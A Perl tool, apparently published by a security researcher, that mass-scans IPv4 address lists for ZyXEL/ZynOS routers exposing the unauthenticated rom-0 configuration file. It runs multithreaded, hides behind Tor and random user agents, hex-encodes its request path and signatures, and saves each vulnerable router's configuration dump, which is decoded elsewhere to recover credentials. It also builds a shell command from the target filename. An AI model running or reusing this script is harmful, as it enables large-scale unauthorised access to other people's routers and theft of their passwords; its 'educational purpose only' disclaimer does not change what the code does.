#!/usr/bin/perl # # ZynOS rom-0 Flaw Scanner # # Copyright 2021 (c) Todor Donev # # https://donev.eu/ # # # $ perl zynos_scanner # # ZynOS rom-0 Flaw Scanner # # zynos_scanner --targets= [ --threads=10 --redirects=7 ] --help # # --targets | Specify the list with addresses that you want to scan. # --dump | Dump rom-0 file for each target # --tor | Use Tor anonymity network # --timeout | Specify HTTP request timeout. Default: 60 # --threads | Specify threads. Default: 10 / Maximum threads: 200 # --redirects | Specify HTTP response redirects. Default: 3 # # e.g. perl zynos_scanner --targets=portscan.log --threads=25 # e.g. perl zynos_scanner --targets=portscan.log --threads=25 --tor # e.g. perl zynos_scanner --targets=portscan.log --threads=25 --tor --dump # # # Author: Todor Donev https://donev.eu/ # # # Install CPAN packages: # # $ cpan install Getopt::Long HTTP::Request LWP::UserAgent WWW::UserAgent::Random Data::Validate::IP MCE::Hobo MCE::Shared # # # Install rom-0 decoder/decompressor: # # $ git clone https://github.com/todordonev/zyxel-revert # $ cd zyxel-revert # $ make -f Makefile # $ ./decompress # # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # use strict; use warnings; use Getopt::Long; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Data::Validate::IP; use MCE::Hobo 1.817; use MCE::Shared; my $queue1 = MCE::Shared->queue(fast => 1); my $queue2 = MCE::Shared->queue(fast => 1); my $redirects = 3; my $timeout = 60; my $targets = undef; my $threads = 10; my $tor = undef; my $dump = undef; my @rom_artifacts = ("\x62\x6F\x6F\x74", "\x73\x70\x74\x2E\x64\x61\x74", "\x61\x75\x74\x6F\x65\x78\x65\x63\x2E\x6E\x65\x74"); printf("\n ZynOS rom-0 Flaw Scanner\n"); sub help() { printf("\n $0 --targets= [ --threads=10 --redirects=7 ] --help\n\n"); printf(" %-12s | %s\n", "--targets", "Specify the list with addresses that you want to scan."); printf(" %-12s | %s\n", "--dump", "Dump rom-0 file for each target"); printf(" %-12s | %s\n", "--tor", "Use Tor anonymity network"); printf(" %-12s | %s\n", "--timeout", "Specify HTTP request timeout. Default: 60"); printf(" %-12s | %s\n", "--threads", "Specify threads. Default: 10 / Maximum threads: 200"); printf(" %-12s | %s\n\n", "--redirects", "Specify HTTP response redirects. Default: 3"); printf(" e.g. perl $0 --targets=portscan.log --threads=25\n"); printf(" e.g. perl $0 --targets=portscan.log --threads=25 --tor\n"); printf(" e.g. perl $0 --targets=portscan.log --threads=25 --tor --dump\n\n\n"); printf(" Author: Todor Donev https://donev.eu/\n\n\n"); exit; } GetOptions( "targets=s" => \$targets, "timeout=i" => \$timeout, "redirects=i" => \$redirects, "threads=i" => \$threads, "tor" => \$tor, "dump" => \$dump, "help|h!" => \&help ); help() if (!$targets); printf(" Error: TARGETLIST not exist, not readable, not plain or is empty!\n") and exit if (! -e $targets || -z $targets || ! -r $targets || ! -f $targets); printf(" Error: Timeout is too short. Minimum timeout: 10\n") and exit if ($timeout < 10); printf(" Error: Threads are too many. Maximum threads: 200\n") and exit if ($threads > 200); my @tmp_targets = (); my @targets = `cat $targets | grep -v '^[[:space:]]*[#;]' | uniq`; for my $line (@targets) { chomp($line); next if ($line =~ /^(\s*(#.*)?)?$/); next if (not is_ipv4($line)); push @tmp_targets, $line; } @tmp_targets = sort { $a cmp $b } @tmp_targets; @targets = (); @targets = @tmp_targets; @tmp_targets = (); printf(" Error: There are not valid targets specified for scanning.\n") and exit if (scalar @targets == 0); printf("-------------------------------------------------------------------------------------------------------------\n"); printf(" Target Code Status \n"); printf("-------------------------------------------------------------------------------------------------------------\n"); MCE::Hobo->create("work") for 1..$threads; $queue1->enqueue(@targets); $queue1->end; while (my $result = $queue2->dequeue) { if (exists $result->{finished}) { MCE::Hobo->waitone; $queue2->end unless MCE::Hobo->pending; next; } my ($target, $code, $status) = ($result->{target}, $result->{code}, $result->{status}); printf(" %-30.30s %-40.40s %-50.50s\n", $target, $code, $status); } exit; sub work { while (my $addr = $queue1->dequeue()) { chomp($addr); my ($target, $code, $status) = scan($addr, $redirects, $timeout); $queue2->enqueue({ target => $target, code => $code, status => $status}); } $queue2->enqueue({ finished => $$ }); return; } sub scan { my ($addr, $redirects, $timeout) = @_; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout($timeout); $browser->agent($user_agent); $browser->max_redirect($redirects); if (defined($tor)) { $browser->proxy([qw(http https)] => 'socks://127.0.0.1:9050'); } my $target = "http://".$addr."\x2F\x72\x6F\x6D\x2D\x30"; my $header = ["Content-Type" => "application/x-www-form-urlencoded; charset=UTF-8"]; my $request = HTTP::Request->new (GET => $target, $header, ""); my $response = eval{ $browser->request($request) }; my $content = $response->content; my @matches = (); foreach my $artifact (@rom_artifacts) { if ($content =~ m/($artifact)/) { push @matches, $artifact; } } my $status = (scalar @matches == 3) ? "VULNERABLE" : "NOT VULNERABLE"; my $code = $response->status_line() ? $response->status_line() : "ERROR"; undef $response if ($code =~ m/401/); @matches = (); if (defined($dump)) { if (defined($response) && $response->is_success && $status eq "VULNERABLE") { my @config = $response->content; my $config_file = $addr."_rom-0"; open (FH, "> $config_file") or die " Error: $config_file $!"; flock (FH, 2); truncate (FH, 0); seek (FH, 0, 0); print (FH $_) foreach (@config); close (FH); @config = (); } } undef $response; return ($addr, $code, $status); }